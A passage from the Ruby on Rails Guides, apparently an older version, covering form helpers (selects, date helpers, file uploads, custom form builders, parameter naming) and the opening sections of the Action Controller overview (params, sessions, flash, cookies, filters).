@person = Person.new(:city_id => 2)
```

```
# view:
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
```

Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute.

As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:

```
# select on a form builder
<%= f.select(:city_id, ...) %>
```

If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the **Ruby On Rails Security Guide**.

3.3 Option Tags from a Collection of Arbitrary Objects

Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:

```
<% cities_array = City.all.map { |city| [city.name, city.id] } %>
<%= options_for_select(cities_array) %>
```

This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:

```
<%= options_from_collection_for_select(City.all, :id, :name) %>
```

As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.

```
<%= collection_select(:person, :city_id, City.all, :id, :name) %>
```

To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.

Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.

3.4 Time Zone and Country Select

To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:

```
<%= time_zone_select(:person, :time_zone) %>
```

There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.

Rails *used* to have a `country_select` helper for choosing countries, but this has been extracted to the **country_select plugin**. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).

4 Using Date and Time Form Helpers

The date and time helpers differ from all the other form helpers in two important respects:

1. Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
2. Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.

Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).

4.1 Barebones Helpers

The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example

```
<%= select_date Date.today, :prefix => :start_date %>
```

outputs (with actual option values omitted for brevity)

```
<select id="start_date_year" name="start_date[year]"> ... </select>
<select id="start_date_month" name="start_date[month]"> ... </select>
<select id="start_date_day" name="start_date[day]"> ... </select>
```

The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example

```
Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
```

The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.

4.2 Model Object Helpers

`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute. The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:

```
<%= date_select :person, :birth_date %>
```

outputs (with actual option values omitted for brevity)

```
<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
```

which results in a `params` hash like

```
{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
```

When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.

4.3 Common Options

Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the **API documentation**.

As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.

In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.

4.4 Individual Components

Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example “year” for `select_year`, “month” for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.

The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example

```
<%= select_year(2009) %>
<%= select_year(Time.now) %>
```

will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.

5 Uploading Files

A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.

The following two forms both upload a file.

```
<%= form_tag({:action => :upload}, :multipart => true) do %>
  <%= file_field_tag 'picture' %>
<% end %>

<%= form_for @person do |f| %>
  <%= f.file_field :picture %>
<% end %>
```

Since Rails 3.1, forms rendered using `form_for` have their encoding set to `multipart/form-data` automatically once a `file_field` is used inside the block. Previous versions required you to set this explicitly.

Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.

5.1 What Gets Uploaded

The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).

```
def upload
  uploaded_io = params[:person][:picture]
  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
    file.write(uploaded_io.read)
  end
end
```

Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are **CarrierWave** and **Paperclip**.

If the user has not selected a file the corresponding parameter will be an empty string.

5.2 Dealing with Ajax

Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `:remote => true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.

6 Customizing Form Builders

As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example

```
<%= form_for @person do |f| %>
  <%= text_field_with_label f, :first_name %>
<% end %>
```

can be replaced with

```
<%= form_for @person, :builder => LabellingFormBuilder do |f| %>
  <%= f.text_field :first_name %>
<% end %>
```

by defining a LabellingFormBuilder class similar to the following:

```
class LabellingFormBuilder < ActionView::Helpers::FormBuilder
  def text_field(attribute, options={})
    label(attribute) + super
  end
end
```

If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option.

The form builder used also determines what happens when you do

```
<%= render :partial => f %>
```

If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.

7 Understanding Parameter Naming Conventions

As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` action for a Person model, `params[:model]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.

Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.

You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,

```
Rack::Utils.parse_query "name=fred&phone=0123456789"
# => {"name"=>"fred", "phone"=>"0123456789"}
```

7.1 Basic Structures

The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains

```
<input id="person_name" name="person[name]" type="text" value="Henry"/>
```

the `params` hash will contain

```
{'person' => {'name' => 'Henry'}}
```

and `params[:person][:name]` will retrieve the submitted value in the controller.

Hashes can be nested as many levels as required, for example

```
<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
```

will result in the `params` hash being

```
{'person' => {'address' => {'city' => 'New York'}}}
```

Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:

```
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
```

This would result in `params[:person][:phone_number]` being an array.

7.2 Combining Them

We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment

```
<input name="addresses[][line1]" type="text"/>
<input name="addresses[][line2]" type="text"/>
<input name="addresses[][city]" type="text"/>
```

This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.

There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.

Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.

7.3 Using Form Helpers

The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.

You might want to render a form with a set of edit fields for each of a person's addresses. For example:

```
<%= form_for @person do |person_form| %>
  <%= person_form.text_field :name %>
  <% @person.addresses.each do |address| %>
    <%= person_form.fields_for address, :index => address do |address_form|%>
      <%= address_form.text_field :city %>
    <% end %>
  <% end %>
<% end %>
```

Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:

```
<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
  <input id="person_name" name="person[name]" size="30" type="text" />
  <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
  <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
</form>
```

This will result in a `params` hash that looks like

```
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
```

Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created).

To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example

```
<%= fields_for 'person[address][primary]', address, :index => address do |address_form| %>
  <%= address_form.text_field :city %>
<% end %>
```

will create inputs like

```
<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
```

As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.

As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `:index => address` so

```
<%= fields_for 'person[address][primary][]', address do |address_form| %>
  <%= address_form.text_field :city %>
<% end %>
```

produces exactly the same output as the previous example.

8 Forms to external resources

If you need to post some data to an external resource it is still great to build your from using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `:authenticity_token => 'your_external_token'` parameter to the `form_tag` options:

```
<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %>
  Form contents
<% end %>
```

Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:

```
<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %>
  Form contents
<% end %>
```

The same technique is available for the `form_for` too:

```
<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
  Form contents
<% end %>
```

Or if you don't want to render an `authenticity_token` field:

```
<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
  Form contents
<% end %>
```

9 Building Complex Forms

Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:

- As of Rails 2.3, Rails includes **Nested Attributes** and **Nested Object Forms**
- Ryan Bates' series of Railscasts on **complex forms**
- Handle Multiple Models in One Form from **Advanced Rails Recipes**
- Eloy Duran's **complex-forms-examples** application
- Lance Ivy's **nested_assignment** plugin and **sample application**
- James Golick's **attribute_fu** plugin

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Action Controller Overview

In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:

- Follow the flow of a request through a controller
- Understand why and how to store data in the session or cookies
- Work with filters to execute code during request processing
- Use Action Controller's built-in HTTP authentication
- Stream data directly to the user's browser
- Filter sensitive parameters so they do not appear in the application's log
- Deal with exceptions that may be raised during request processing

Chapters

1. What Does a Controller Do?
2. Methods and Actions
3. Parameters
    - Hash and Array Parameters
    - JSON/XML parameters
    - Routing Parameters
    - `default_url_options`
4. Session
    - Accessing the Session
    - The Flash
5. Cookies
6. Rendering xml and json data
7. Filters
    - After Filters and Around Filters
    - Other Ways to Use Filters
8. Request Forgery Protection
9. The Request and Response Objects
    - The `request` Object
    - The `response` Object
10. HTTP Authentications
    - HTTP Basic Authentication
    - HTTP Digest Authentication
11. Streaming and File Downloads
    - Sending Files
    - RESTful Downloads
12. Parameter Filtering
13. Rescue
    - The Default 500 and 404 Templates
    - `rescue_from`
14. Force HTTPS protocol

1 What Does a Controller Do?

Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.

For most conventional **RESTful** applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.

A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.

For more details on the routing process, see **Rails Routing from the Outside In**.

2 Methods and Actions

A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class.

When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.

```
class ClientsController < ApplicationController
  def new
  end
end
```

As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:

```
def new
  @client = Client.new
end
```

The **Layouts & Rendering Guide** explains this in more detail.

`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.

Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.

3 Parameters

You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:

```
class ClientsController < ActionController::Base
  # This action uses query string parameters because it gets run
  # by an HTTP GET request, but this does not make any difference
  # to the way in which the parameters are accessed. The URL for
  # this action would look like this in order to list activated
  # clients: /clients?status=activated
  def index
    if params[:status] == "activated"
      @clients = Client.activated
    else
      @clients = Client.unactivated
    end
  end

  # This action uses POST parameters. They are most likely coming
  # from an HTML form which the user has submitted. The URL for
  # this RESTful request will be "/clients", and the data will be
  # sent as part of the request body.
  def create
    @client = Client.new(params[:client])
    if @client.save
      redirect_to @client
    else
      # This line overrides the default rendering behavior, which
      # would have been to render the "create" view.
      render :action => "new"
    end
  end
end
```

3.1 Hash and Array Parameters

The `params` hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:

```
GET /clients?ids[]=1&ids[]=2&ids[]=3
```

The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.

The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.

To send a hash you include the key name inside the brackets:

```
<form accept-charset="UTF-8" action="/clients" method="post">
  <input type="text" name="client[name]" value="Acme" />
  <input type="text" name="client[phone]" value="12345" />
  <input type="text" name="client[address][postcode]" value="12345" />
  <input type="text" name="client[address][city]" value="Carrot City" />
</form>
```

When this form is submitted, the value of `params[:client]` will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.

Note that the `params` hash is actually an instance of `HashWithIndifferentAccess` from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.

3.2 JSON/XML parameters

If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into `params` hash, which you'll be able to access like you would normally do with form data.

So for example, if you are sending this JSON parameter:

```
{ "company": { "name": "acme", "address": "123 Carrot Street" } }
```

You'll get `params[:company]` as `{ :name => "acme", "address" => "123 Carrot Street" }`.

Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:

```
{ "name": "acme", "address": "123 Carrot Street" }
```

And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this:

```
{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
```

You can customize the name of the key or specific parameters you want to wrap by consulting the **API documentation**

3.3 Routing Parameters

The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:

```
match '/clients/:status' => 'clients#index', :foo => "bar"
```

In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".

3.4 `default_url_options`

You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller:

```
class ApplicationController < ActionController::Base
  # The options parameter is the hash passed in to 'url_for'
  def default_url_options(options)
    {:locale => I18n.locale}
  end
end
```

These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by `url_for`. Because this method is defined in the controller, you can define it on `ApplicationController` so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.

4 Session

Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:

- ActionDispatch::Session::CookieStore – Stores everything on the client.
- ActiveRecord::SessionStore – Stores the data in a database using Active Record.
- ActionDispatch::Session::CacheStore – Stores the data in the Rails cache.
- ActionDispatch::Session::MemCacheStore – Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).

All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).

For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store – the CookieStore – which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).

The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.

If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.

Read more about session storage in the **Security Guide**.

If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file:

```
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "script/rails g session_migration")
# YourApp::Application.config.session_store :active_record_store
```

Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:

```
# Be sure to restart your server when you modify this file.

YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session'
```

You can also pass a `:domain` key and specify the domain name for the cookie:

```
# Be sure to restart your server when you modify this file.

YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com"
```

Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`

```
# Be sure to restart your server when you modify this file.

# Your secret key for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
```

Changing the secret when using the `CookieStore` will invalidate all existing sessions.

4.1 Accessing the Session

In your controller you can access the session through the `session` instance method.

Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.

Session values are stored using key/value pairs like a hash:

```
class ApplicationController < ActionController::Base

  private

  # Finds the User with the ID stored in the session with the key
  # :current_user_id This is a common way to handle user login in
  # a Rails application; logging in sets the session value and
  # logging out removes it.
  def current_user
    @_current_user ||= session[:current_user_id] &&
      User.find_by_id(session[:current_user_id])
  end
end
```

To store something in the session, just assign it to the key like a hash:

```
class LoginsController < ApplicationController
  # "Create" a login, aka "log the user in"
  def create
    if user = User.authenticate(params[:username], params[:password])
      # Save the user ID in the session so it can be used in
      # subsequent requests
      session[:current_user_id] = user.id
      redirect_to root_url
    end
  end
end
```

To remove something from the session, assign that key to be `nil`:

```
class LoginsController < ApplicationController
  # "Delete" a login, aka "log the user out"
  def destroy
    # Remove the user id from the session
    @_current_user = session[:current_user_id] = nil
    redirect_to root_url
  end
end
```

To reset the entire session, use `reset_session`.

4.2 The Flash

The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:

```
class LoginsController < ApplicationController
  def destroy
    session[:current_user_id] = nil
    flash[:notice] = "You have successfully logged out"
    redirect_to root_url
  end
end
```

Note it is also possible to assign a flash message as part of the redirection.

```
redirect_to root_url, :notice => "You have successfully logged out"
```

The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:

```
<html>
  <!-- <head/> -->
  <body>
    <% if flash[:notice] %>
      <p class="notice"><%= flash[:notice] %></p>
    <% end %>
    <% if flash[:error] %>
      <p class="error"><%= flash[:error] %></p>
    <% end %>
    <!-- more content -->
  </body>
</html>
```

This way, if an action sets an error or a notice message, the layout will display it automatically.

If you want a flash value to be carried over to another request, use the `keep` method:

```
class MainController < ApplicationController
  # Let's say this action corresponds to root_url, but you want
  # all requests here to be redirected to UsersController#index.
  # If an action sets the flash and redirects here, the values
  # would normally be lost when another redirect happens, but you
  # can use 'keep' to make it persist for another request.
  def index
    # Will persist all flash values.
    flash.keep

    # You can also use a key to keep only some kind of value.
    # flash.keep(:notice)
    redirect_to users_url
  end
end
```

4.2.1 `flash.now`

By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:

```
class ClientsController < ApplicationController
  def create
    @client = Client.new(params[:client])
    if @client.save
      # ...
    else
      flash.now[:error] = "Could not save client"
      render :action => "new"
    end
  end
end
```

5 Cookies

Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash:

```
class CommentsController < ApplicationController
  def new
    # Auto-fill the commenter's name if it has been stored in a cookie
    @comment = Comment.new(:name => cookies[:commenter_name])
  end

  def create
    @comment = Comment.new(params[:comment])
    if @comment.save
      flash[:notice] = "Thanks for your comment!"
      if params[:remember_name]
        # Remember the commenter's name
```

```
        # Remember the commenter's name.
        cookies[:commenter_name] = @comment.name
      else
        # Delete cookie for the commenter's name cookie, if any.
        cookies.delete(:commenter_name)
      end
      redirect_to @comment.article
    else
      render :action => "new"
    end
  end
end
```

Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.

6 Rendering xml and json data

ActionController makes it extremely easy to render `xml` or `json` data. If you generate a controller using scaffold then your controller would look something like this.

```
class UsersController < ApplicationController
  def index
    @users = User.all
    respond_to do |format|
      format.html # index.html.erb
      format.xml  { render :xml => @users}
      format.json { render :json => @users}
    end
  end
end
```

Notice that in the above case code is `render :xml => @users` and not `render :xml => @users.to_xml`. That is because if the input is not string then rails automatically invokes `to_xml` .

7 Filters

Filters are methods that are run before, after or “around” a controller action.

Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.

Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:

```
class ApplicationController < ActionController::Base
  before_filter :require_login

  private

  def require_login
    unless logged_in?
      flash[:error] = "You must be logged in to access this section"
      redirect_to new_login_url # halts request cycle
    end
  end

  # The logged_in? method simply returns true if the user is logged
  # in and false otherwise. It does this by "booleanizing" the
  # current_user method we created previously using a double ! operator.
  # Note that this is not common in Ruby and is discouraged unless you
  # really mean to convert something into true or false.
  def logged_in?
    !!current_user
  end
end
```

The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.

In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This

In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter`:

```
class LoginsController < ApplicationController
  skip_before_filter :require_login, :only => [:new, :create]
end
```

Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.

7.1 After Filters and Around Filters

In addition to before filters, you can also run filters after an action has been executed, or both before and after.

